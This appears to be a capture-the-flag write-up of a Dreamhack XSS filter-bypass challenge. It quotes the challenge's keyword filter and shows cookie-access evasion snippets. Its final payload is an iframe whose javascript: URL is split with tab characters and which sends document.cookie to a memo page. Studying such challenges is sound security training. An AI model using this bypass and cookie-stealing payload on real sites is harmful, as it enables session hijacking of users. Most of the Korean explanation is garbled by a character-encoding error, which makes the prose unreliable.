CTF, War game

[Dreamhack] Level 3: XSS Filtering Bypass Advanced

mnzy๐ŸŒฑ 2024. 3. 24. 19:22

1. ๋ฌธ์ œ 

https://dreamhack.io/wargame/challenges/434

 

XSS Filtering Bypass Advanced

Description Exercise: XSS Filtering Bypass์˜ ํŒจ์น˜๋œ ๋ฌธ์ œ์ž…๋‹ˆ๋‹ค. ๋ฌธ์ œ ์ˆ˜์ • ๋‚ด์—ญ 2023.08.04 Dockerfile ์ œ๊ณต

dreamhack.io


2. ํ•ด๊ฒฐ ๊ณผ์ •

๋ฌธ์ œ ํŽ˜์ด์ง€์™€ ์ „๋ฐ˜์ ์ธ ์ฝ”๋“œ๋Š” ๋‹ค๋ฅธ xss ๋ฌธ์ œ์™€ ๊ฐ™๋‹ค. 

ํ•„ํ„ฐ๋ง ๋ถ€๋ถ„์˜ ์ฝ”๋“œ๋ฅผ ์‚ดํŽด๋ณด์•„์•ผ ํ•œ๋‹ค. 

 

์ผ๋‹จ, script, on, javascript๋Š” ๋ชจ๋‘ ํ•„ํ„ฐ๋งํ•˜๊ณ  ์žˆ๋‹ค.

์ฆ‰, <script></script>์™€ location href, onerror, <script type="text/javascript"></script> ๋“ฑ์ด ํ•„ํ„ฐ๋ง ๋œ๋‹ค.

 

์ถ”๊ฐ€๋กœ window ๋“ฑ์ด ํ•„ํ„ฐ๋ง ๋˜์–ด์žˆ๋‹ค. 

document.cookie

alert(document["\u0063ook" + "ie"]);  //cookie ํ•„ํ„ฐ๋ง
window['al\x65rt'](document["\u0063ook" + "ie"]);  // alert, cookie ํ•„ํ„ฐ๋ง

์ด์™ธ HTML Entity Encoding ๋“ฑ์„ ํ†ตํ•œ ์šฐํšŒ๋ฐฉ๋ฒ•๋“ค์„ ๋ฐฉ์–ดํ•  ๋ชฉ์ ์œผ๋กœ ๋ณด์—ฌ์ง„๋‹ค. 

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

def xss_filter(text):
    _filter = ["script", "on", "javascript"]
    for f in _filter:
        if f in text.lower():
            return "filtered!!!"

    advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
    for f in advanced_filter:
        if f in text.lower():
            return "filtered!!!"

    return text

 

ํ•„ํ„ฐ๋ง ๋ชฉ๋ก์— ๋“ค์–ด์žˆ์ง€ ์•Š์€ iframe ํƒœ๊ทธ๋ฅผ ์‚ฌ์šฉํ•ด ํ•„ํ„ฐ๋ง์„ ์šฐํšŒํ•ด๋ณผ ์ˆ˜ ์žˆ๋‹ค.

javascript, on ํ•„ํ„ฐ๋ง์€ ์ •๊ทœํ™”์˜ ์›๋ฆฌ๋ฅผ ์ด์šฉํ•˜์—ฌ ํŠน์ˆ˜๋ฌธ์ž๋ฅผ ์‚ฌ์ด์— ๋„ฃ์–ด์ค„ ๊ฒƒ์ด๋‹ค. 

 

์ด๋•Œ, vulnํŽ˜์ด์ง€์—์„œ GET ๋ฐฉ์‹์œผ๋กœ ์ง์ ‘ ์ „๋‹ฌํ•  ๋•Œ๋Š” url ์ธ์ฝ”๋”ฉ์œผ๋กœ ์ „๋‹ฌํ•˜์ง€๋งŒ, memo ํŽ˜์ด์ง€๋Š” POST ๋ฐฉ์‹์œผ๋กœ ์ „๋‹ฌํ•˜๋ฏ€๋กœ ์ด๋•Œ๋Š” url ์ธ์ฝ”๋”ฉ์ด ์•„๋‹Œ ๋ฆฌ์–ผ ๋ฌธ์ž๋ฅผ ์ „์†กํ•ด์•ผํ•œ๋‹ค. 
๋”ฐ๋ผ์„œ memoํŽ˜์ด์ง€์—๋Š” \x01, \x04 ๋“ฑ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†์œผ๋ฏ€๋กœ \t(tab)์„ ์ด์šฉํ•ด์„œ ์šฐํšŒํ•  ๊ฒƒ์ด๋‹ค. 

๋ฐ”๋กœ flag ํŽ˜์ด์ง€์— ๋„ฃ์–ด์ค„ ๊ฒƒ์ด๋‹ค. 

์ž…๋ ฅํ•˜๊ณ  ์‹ถ์€ ๊ฒƒ: <iframe src="javascript:location.href='http:127.0.0.1:8000/memo?memo='+document.cookie">

javascript, location, document ์‚ฌ์ด์— tab์„ ๋„ฃ์–ด์„œ ์ž…๋ ฅํ•ด์ค€๋‹ค. 

<iframe src="javas	cript:locatio	n.href='http://127.0.0.1:8000/memo?memo='+docu	ment.cookie">

 

์„ฑ๊ณต